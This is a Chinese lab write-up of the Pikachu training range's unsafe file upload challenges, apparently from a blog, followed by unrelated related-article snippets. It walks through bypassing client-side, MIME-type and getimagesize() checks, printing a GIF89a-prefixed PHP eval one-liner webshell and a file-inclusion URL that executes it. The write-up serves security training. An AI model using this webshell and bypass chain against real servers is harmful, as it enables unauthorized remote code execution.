pikachu靶场-Unsafe Upfileupload

news/2024/5/19 21:36:15 标签: 安全, web安全, ctf, php

文件上传漏洞简述


什么是文件上传漏洞?
 ​ 凡是存在文件上传的地方均有可能存在文件上传漏洞,关于上传文件操作的时候对方代码写的是否完整、是否安全,一旦疏忽了某个地方可能会造成文件上传漏洞。

文件上传的原理


  网站Web应用都有一些文件上传功能,比如文档、图片、头像、视频上传,当上传功能的实现代码没有严格校验上传文件的后缀和文件类型,此时攻击者就可以上传一个webshell到一个Web可访问的目录上,并将恶意文件传递给如PHP解释器去执行,之后就可以在服务器上执行恶意代码,进行数据库执行、服务器文件管理,服务器命令执行等恶意操作。还有一部分是攻击者通过Web服务器的解析漏洞来突破Web应用程序的防护

文件上传漏洞有哪些危害


 文件可以自定义,可以成为Webshell,通过文件上传来上传后门,直接获取网站权限,属于高危漏洞。上传漏洞与SQL注入或者XSS相比,其风险更大。可以获取数据库信息,可以对服务器提权,获取内网权限。

文件上传漏洞如何查找及判断

1.黑盒查找

文件后台

        进入网站后台不一定能获得网站权限,可以从后台获取网站权限

会员中心

        通过图片上传

​ 文件扫描

        使用工具扫描出后台路径

2.白盒查找

​         通过代码分析到上传漏洞

​         查找文件上传功能

文件上传如何防御

将上传文件与web服务隔离
使用白名单过滤、限制上传文件类型
文件上传路径设置为不可执行权限
检查文件上传路径
自带函数检测,自定义函数检测
图片渲染 对上传文件重命名
对文件内容压缩,重新生成文件内容 检查文件内容


文件上传漏洞绕过的方式有哪些

文件包含绕过
前端限制绕过
文件扩展名绕过
ashx上传绕过
特殊文件名绕过
00截断绕过上传
htaccess解析漏洞
突破MIME限制上传
解析漏洞绕过
条件竞争绕过
CONTENT-LENGTH绕过

一、 client check(客户端检测)

说明:在前端通过js脚本对上传文件的后缀名进行验证,通过设置黑、白名单限制用户上传的文件类型。这种验证方式很不安全,很容易被绕过。可以通过拦截修改数据包轻松绕过,甚至直接在浏览器关闭js都可以绕过。

(1)这里设置了白名单,所以直接将一句话木马改成jpg后缀上传

(2)bp抓包,将后缀修改回php后,放包上传

 (3)上传成功,得到文件保存路径为uploads/qjkhcmd.php(很多实际情况并不会返回文件保存的路径,需要自己爆破或猜解获得)

(4)用蚁剑进行连接
成功连接:

二、MIME type服务端检测


说明:服务端会对上传的数据中的content-type字段进行检测,判断其是否为指定的文件格式。

(1)绕过只需要抓包将字段修改为image/jpeg图片类型即可(你开始上传的是图片,就自动变成image/jpeg的类型了),绕过的步骤和上面一样:抓包,修改后缀以及content-type字段,放包,蚁剑连接就行。

这里就不放连接shell的截图了

三、getimagesize()检测


说明:getimagesize函数会去读取文件头部的几个字符串,判断是否为正常图片的开头(各种文件头都是有固定格式,jpg、png等图片都有自己的文件头)

这种方式只能将含有一句话木马的图片上传至服务器端,不能解析,所以要利用文件包含漏洞包含上传的图片,将其解析。

文件包含漏洞


程序开发人员一般会把重复使用的函数写到单个文件中,需要使用某个函数时直接调用此文件,而无需再次编写,这中文件调用的过程一般被称为文件包含。服务器解析执行php文件时能通过包含函数加载另外一个文件中的php代码,当被包含的文件中存在木马时,木马就能被成功执行。

所以,这题可以采用制作图片马,利用文件包含漏洞,让图片中的木马解析成功。

(1)步骤:在一句话木马前面添加GIF89a(这是GIF图片文件头,我上面的实验都用的这种形式的一句话木马)

代码如下:

php">GIF89a
<?=@eval($_POST['cmd']);

 发现上传成功

利用靶场的文件包含漏洞进行利用

拼接url如下:

php">http://xxxxx/vul/fileinclude/fi_local.php?filename=../../unsafeupload/uploads/2023/05/10/233506645b518282129043202491.jpg&submit=%E6%8F%90%E4%BA%A4

 这个路径是根据上面已经连接的shell拼接出来的,实战环境中只能自己去试它的相对路径

可以看到包含的jpg已经被解析为php且用蚁剑可以连接 ,漏洞利用成功

实战中遇见白名单加这个函数检测可以让你上传图片,但是找不到文件包含点就很难受


http://www.niftyadmin.cn/n/307380.html

相关文章

使用docker部署wiki.js

安装docker这些就不讲了&#xff0c;教程一堆&#xff0c;相关的安装教程可以去官网看&#xff0c;只是没那么详细&#xff0c;尤其是有关数据库的配置&#xff1a;Docker 部署 Wiki.js pull wiki镜像&#xff1a; docker pull ghcr.io/requarks/wiki 如果是arm的机器&#xf…

JSON-框架的具体使用

JSON-框架的具体使用 非 SpringBoot 项目 Jackson Jackson 是另一个流行的JSON序列化和反序列化库&#xff0c;具有以下特点 速度快&#xff1a;Jackson 采用了高效的JSON解析算法和字节码生成技术&#xff0c;使得其序列化和反序列化速度非常快。支持全类型序列化&#xff1…

Android 13 有线网变更(用到的可以收藏)

Android 13 有线网变更 文章目录 Android 13 有线网变更一、从接触的Android13 &#xff08;Tv版&#xff09;源码和测试结果看&#xff0c;有线网有如下变更&#xff1a;二、有线网具体变更介绍1、限制了设置有线网参数设置接口方法2、新增有线网开启关闭接口方法3、新增了 up…

软件测试工作内容和职责有哪些

目前&#xff0c;在IT行业中测试的职位数量仅次于开发&#xff0c;可以说是第二大技术就业岗位。然而许多人对测试师工作的理解还停留在&#xff0c;只需要像用户一样使用产品&#xff0c;然后发现有问题提交报告就行了。其实这是极其不准确的&#xff0c;软件测试师在测试产品…

对象是如何存放在堆空间中的

目录 1、对象的创建与内存分配 2、对象的内存布局 3、对象的访问定位 1、对象的创建与内存分配 当虚拟机遇到一条new字节码指令时&#xff0c;会先检查这个类型是否已经加载。如果还没有&#xff0c;就进行类加载过程 在类加载检查通过后&#xff0c;虚拟机将为新生对象分配…

我的第一个前后端项目

目录 基础概念 VUE 了解vue-vue脚手架vue-cli 项目结构&#xff1a; VUE语法 初识VUE VUE指令 组件 语法 核心插件 axios Vuex Vue Router路由管理器 elementui 项目demo快速上手 基础概念 前后端分离 &#xff1a;核心思想是前端页面通过 ajax 调用后端的 res…

如何快速构建 Zabbix 原生高可用?

Zabbix Meetup成都站议程 14:30 《如何快速构建 Zabbix 原生高可用》 周松&#xff0c;Zabbix 大中华区培训师&#xff0c;架构师 15:00 《基于 Zabbix 开发的拨测平台–OneMonitor》 唐荣&#xff0c;社区用户 15:30 《Zabbix 与信创生态的融合》 侯健&#xff0c;上海宏…

工业4.0,为什么数字化转型这么难,上了ERP还要上MES

工业4.0时代&#xff0c;中国制造企业已经面临着与国际先进水平的差距&#xff0c;更多的企业在寻找新的发展道路&#xff0c;数字化转型是制造业企业转型升级的必由之路。但是&#xff0c;许多制造型企业由于在传统生产过程中&#xff0c;业务数据不能得到有效监控、生产过程数…